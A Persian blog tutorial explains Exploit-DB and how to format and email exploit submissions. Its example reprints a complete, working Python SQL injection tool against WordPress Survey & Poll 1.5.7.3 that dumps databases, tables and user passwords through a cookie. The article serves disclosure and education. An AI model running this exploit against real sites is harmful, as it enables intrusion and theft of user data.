زمان مطالعه : ۶ دقیقه

معرفی وب‌سایت Exploit-db و آموزش نحوه‌ی ثبت اکسپلویت در Exploit-db این مقاله‌ای که می‌خواهم شمارا با سایت Exploit-db آشنا کنم توسط شرکت Offensive Security ساخته است. این وب‌سایت بسیار قدرتمند و رایگان است. که درزمینه‌ی هک و تست نفوذ می‌باشد و با کمک آن می‌توان روزانه تعداد زیادی از جدیدترین آسیب‌پذیری‌های ثبت‌شده توسط متخصصین هک و امنیت را به همراه روش‌های پیاده‌سازی آن‌ها یاد گرفت و در صورت وجود آن آسیب‌پذیری‌ها در درون سازمان یا شرکتمان آن‌ها را برطرف نمود.

در دوره‌ی هکر اخلاقی CEH و مقاله‌ی سیر تا پیاز گوگل هکینگ (google hacking) به همراه ویدیو آموزشی با برخی از اکسپلویت های ارائه‌شده در این وب‌سایت آشنا شدیم و یاد گرفتیم به چه صورت می‌توانیم از آن‌ها استفاده کنیم اما برای ثبت اکسپلویت در Exploit-db ، شرکت سازنده آن‌یک قالب کلی ارائه داده است که می‌توانید با کمک آن عملیات ثبت را انجام دهید.

ثبت اکسپلویت در Exploit-db

مراحل ساخت فایل اکسپلویت در Exploit-db

ابتدا وارد این آدرس شوید تا راهنمایی‌های ارائه‌شده توسط شرکت Offensive Security سازنده‌ی وب‌سایت EXPLOIT-DB را بشناسید. و همان‌طور که مشاهده می‌کنید دقیقاً نحوه‌ی ارائه اکسپلویت های شناسایی‌شده را توضیح می‌دهد که به چه صورت باید ثبت کرد. باهم میریم که این فرم کلی را بررسی کنیم تا یک ثبت اکسپلویت در Exploit-db موفق داشته باشیم.

ابتدایی‌ترین چیزی که در جست‌وجوی یک اکسپلویت با آن روبرو می‌شویم عنوان یا Exploit Title: [title] است که در نگاه اول متوجه شویم که این اکسپلویت چه هدفی را به دنبال دارد.

یک مثال می‌زنم تا بتوانم توضیحات خودم را بهتر به شما عزیزان بگویم.

# Exploit Title: WordPress Plugin Survey & Poll 1.5.7.3 - 'sss_params' SQL Injection (2)
# Date: 2021-09-07
# Exploit Author: Mohin Paramasivam (Shad0wQu35t)
# Vendor Homepage: http://modalsurvey.pantherius.com/
# Software Link: https://downloads.wordpress.org/plugin/wp-survey-and-poll.zip
# Version: 1.5.7.3
# Tested on: MariaDB,MYSQL

در تاریخ ۲۰۲۱-۰۹-۰۷ یک آسیب‌پذیری بر روی افزونه‌ی WordPress Plugin Survey & Poll در ورژن ۱.۵.۷.۳ یافت شده است که دارای یک پارامتر آسیب‌پذیر به نام ‘sss_params’ می‌باشد که می‌توان از آن در نفوذ به‌صورت SQL Injection استفاده نمود.
تمام این اطلاعات گفته‌شده برای شما دقیقاً تفسیر خط اول عنوان است. که هر شخص می‌خواهد از آن استفاده کند بداند که با کمک این اکسپلویت دقیقاً می‌تواند به چه صورت از وب‌سایت ورد پرسی استفاده کند و آن را دچار نفوذ کند.

# Exploit Title: WordPress Plugin Survey & Poll 1.5.7.3 - 'sss_params' SQL Injection (2)
# Date: 2021-09-07

قسمت بعد اگر برای اکسپلویت خود به‌صورت اختیاری دورک هایی را دارید که می‌توانید به‌راحتی سایت‌هایی که این آسیب‌پذیری را دارد شناسایی کند.می‌توانید آن را در این قسمت وارد کنید. در مثال ما دورکی برای گوگل وجود ندارد اما همان‌طور که در بالا گفته شد می‌توانید از طریق دوره‌ی هکر اخلاقی CEH و مقاله‌ی سیر تا پیاز گوگل هکینگ (google hacking) به همراه ویدیو آموزشی که توضیح داده‌شده است با آن‌ها آشنا شوید و یک دید خوبی قبل از ثبت اکسپلویت در Exploit-DB در مورد دورک ها و متد های گوگل هکینک بگیرید.

# Google Dork: [if applicable]

زمان شناسایی این حفره را می‌توانید در این قسمت یادداشت کنید.

# Date: 2021-09-07

حال به قسمت جذاب ثبت اکسپلویت در Exploit-DB می‌رویم که به‌صورت زیر می‌توانید نام خود را به‌عنوان ثبت‌کننده‌ی این اکسپلویت وارد کنید تا زمانی که افراد مشاهده می‌کنند یابنده‌ی آن را بشناسند.

# Exploit Author: Mohin Paramasivam (Shad0wQu35t)

البته اگر وب‌سایتی به نام خود به‌عنوان ثبت‌کننده اکسپلویت دارید می‌توانید آدرس وب‌سایت را در این قسمت وارد کنید و برای بک لینک گرفتن از سایت Exploit-db نیز توصیه می‌شود از متخصصین سئو استفاده کنید اما اگر سایتی ندارید می‌توانید آدرس صفحه‌ی نمایش و دانلود Exploit-db را وارد کنید که در مثال، ما آدرس وب‌سایت خودش را وارد کرده‌ایم.

# Vendor Homepage: http://modalsurvey.pantherius.com/

زمانی که آسیب‌پذیری یافت شده بر روی یک نرم‌افزار یا ابزار خاصی شناسایی می‌شود. با کمک عبارت زیر می‌توانید آدرس صفحه‌ی آن نرم‌افزار را بنویسید تا کسی که می‌خواهد از آن اکسپلویت استفاده کند به‌راحتی بتواند به آن دسترسی پیدا کند و منظور شمارا به خوبی متوجه شود.
در مثال ما آدرس پلاگین را در مخزن ورد پرس ثبت کرده است که بتوانید خیلی سریع به فایل zip آن دسترسی پیدا کنید.

# Software Link: https://downloads.wordpress.org/plugin/wp-survey-and-poll.zip

به دلیل به روز رسانی نرم افزار ها و ابزار های مختلف و حتی افزونه های وردپرس باید ورژن یا نسخه ی تست شده آن را ذکر کنید زیرا به دلیل به‌روزرسانی نرم‌افزارها و ابزارهای مختلف و حتی افزونه‌های ورد پرس باید ورژن یا نسخه‌ی تست شده آن را ذکر کنید زیرا ممکن است در ورژن های بعدی آن آسیب‌پذیری رفع شده و قابل‌استفاده نباشد.

# Version: 1.5.7.3

در قسمت تست می‌توانید بگویید که این آسیب‌پذیری را به چه صورت تست کرده‌اید و در چه سیستم‌عامل، دیتابیس یا … به‌درستی کارکرده است.
در مثال ما چون CMS ورد پرس به‌صورت متن‌باز ارائه‌شده است و از زبان برنامه‌نویسی PHP و سیستم‌عامل لینوکس (طبق توضیحاتی که در سرورهای مجازی داده شد)استفاده می‌کنند. دیتا به یس آن‌ها MYSQL می‌باشد که سازنده‌ی افزونه اعلام کرده است که با موارد زیر سازگار است و بر روی آن‌ها تست شده است.

# Tested on: MariaDB,MYSQL

آخرین عبارت ارائه‌شده در قالب ارائه‌شده CVE است که مخفف Common Vulnerabilities and Exposures می‌باشد.CVE یک شناسه منحصربه‌فرد است که برای هر آسیب‌پذیری امنیتی شناسایی‌شده در حوزه فناوری اطلاعات اتفاق می‌افتد تخصیص می‌دهند.شرکت‌های بزرگ در این حوزه برای شناسایی راحت‌تر این آسیب‌پذیری‌ها همیشه یک کد لحاظ می‌کنند و شما هم اگر آسیب‌پذیری یافت شده دارای کدمی باشد می‌توانید هنوز آن کد را لحاظ کنید که البته در مثال ما کدی لحاظ نشده بود.

# CVE: [if applicable]

در پایان نیز می‌توانید توضیحات تکمیلی و یا دستوراتی که برای پیش‌نیاز روش نصب و…رادارید، توسط اکسپلویت لحاظ کنید. تا دیگران اطلاعات تکمیلی در مورد روند آن را شناسایی کنند و متوجه شوند که اکسپلویت شما به چه صورت کار می‌کند. البته در مثال ما از دستوراتی که توسط پایتون نوشته‌شده استفاده‌شده.

#!/usr/bin/python3

import requests
import re
import warnings
from bs4 import BeautifulSoup, CData
import sys
import argparse
import os
import time
from termcolor import colored
import validators

#Install all the requirements

"""
pip3 install requests
pip3 install bs4
pip3 install argparse
pip3 install termcolor
pip3 install validators

"""


parser = argparse.ArgumentParser(description='WP Plugin Survey & Poll V1.5.7.3 SQL Injection (sss_params)')
parser.add_argument('-u',help='Poll & Survey page URL')
args = parser.parse_args()

url = args.u


if len(sys.argv) !=3:
    parser.print_help(sys.stderr)
    sys.exit()

if not validators.url(url):
	print(colored("\r\nEnter URL with http:// or https://\r\n",'red'))
	parser.print_help(sys.stderr)
	sys.exit()


def currect_db_name():
	payload= """["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,database(),11#"]"""
	inject(payload)


def db_version():
	payload = """["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,@@version,11#"]"""
	inject(payload)


def hostname():
	payload = """["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,@@hostname,11#"]"""
	inject(payload)


def current_user():
	payload = """["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,user(),11#"]"""
	inject(payload)


def list_databases():
	payload = """["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,group_concat(schema_name),11 from information_schema.schemata#"]"""
	inject(payload)

def list_tables_db():
	db = input("\r\nDatabase : ")
	payload = """["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,group_concat(table_name),11 from information_schema.tables where table_schema='%s'#"]""" %(db)
	inject(payload)	


def list_columns_db():
	db = input("\r\nDatabase : ")
	table = input("Table : ")
	payload = """["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,group_concat(column_name),11 from information_schema.columns where table_schema='%s' and table_name='%s'#"]""" %(db,table)
	inject(payload)	


def dump_db():
	db = input("\r\nDatabase: ")
	table = input("Table: ")
	column = input("Columns Eg: users,password : ")
	dump = "%s.%s" %(db,table)
	payload = """["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,group_concat(%s),11 from %s.%s#"]""" %(column,db,table)
	inject(payload)	


def custom_payload():
	payload = input("\r\nPayload : ")
	inject(payload)

def inject(inject_payload):

	request = requests.Session()

	cookies = {
		    'wp_sap': inject_payload,
		    
		}
	print("\r\n"+colored("Sending Payload :",'red')+" %s\r\n" %colored((inject_payload),'green'))
	response = request.get(url,cookies=cookies)
	warnings.filterwarnings("ignore", category=UserWarning, module='bs4')
	soup = BeautifulSoup(response.text,features="lxml")
	cdata = soup.find(text=re.compile("CDATA"))
	split_cdata = list(cdata.split(':'))
	output = split_cdata[11]
	print("\r\n"+colored("SQLI OUTPUT :",'red')+" %s\r\n" %colored((output),'green'))
	time.sleep(1)
	main()



def main():
	print ("Automated SQL Injector (wp-survey-and-poll)")
	print ("Enter the respective number to select option")
	print ("#EXAMPLE Option : 1\r\n")



	print("Option 1 : Grab Database Version")
	print("Option 2 : Get Current Database Name")
	print("Option 3 : Get Hostname ")
	print("Option 4 : Get Current User")
	print("Option 5 : List All Databases")
	print("Option 6 : List Tables From Database")
	print("Option 7 : List Columns from Tables")
	print("Option 8 : Dump Database")
	print("Option 9 : Custom Payload")
	print("Option 10 : Exit")


	print("\r\n")
	option_selected = str(input("Select Option : "))


	if(option_selected=="1"):
		db_version()

	if(option_selected=="2"):
		currect_db_name()

	if(option_selected=="3"):
		hostname()

	if(option_selected=="4"):
		current_user()

	if(option_selected=="5"):
		list_databases()

	if(option_selected=="6"):
		list_tables_db()

	if(option_selected=="7"):
		list_columns_db()

	if(option_selected=="8"):
		dump_db()

	if(option_selected=="9"):
		custom_payload()

	if(option_selected=="10"):
		sys.exit()
	
	else:
		main()

main()

ارسال ایمیل برای ثبت اکسپلویت در Exploit-db

زمانی که همه جزییات برای اکسپلوتی که می‌خواهید در EXPLOIT-DB ثبت کنید انجام شد فایل متن یا TEXT آماده‌شده را به‌صورت فایل پیوست به ایمیل زیر ارسال می‌کنید.

submit@offensive-security.com

پس از چند دقیقه یک ایمیل برای شما از شرکت سازنده سایت EXPLOIT-DB ارسال می‌شود که می‌گوید ما اکسپلویت ارسالی شمارا دریافت کرده و پس از بررسی و تأیید آن منتشر خواهیم کرد.
درنهایت اگر تمام موارد شما درست باشد و اکسپلویت شما مورد تأیید واقع شود. توسط تیم شرکت سازنده منتشر می‌شود و می‌توانید آن را در سایت EXPLOIT-DB بانام و آدرس خودتان مشاهده کنید.

https://www.exploit-db.com/exploits/50269

متشکرم که تا پایان این مقاله با من همراه بودید امیدوارم توانسته باشم مطالب مفیدی برای ثبت اکسپلویت در سایت معروف Exploit-db به شما آموزش دهم.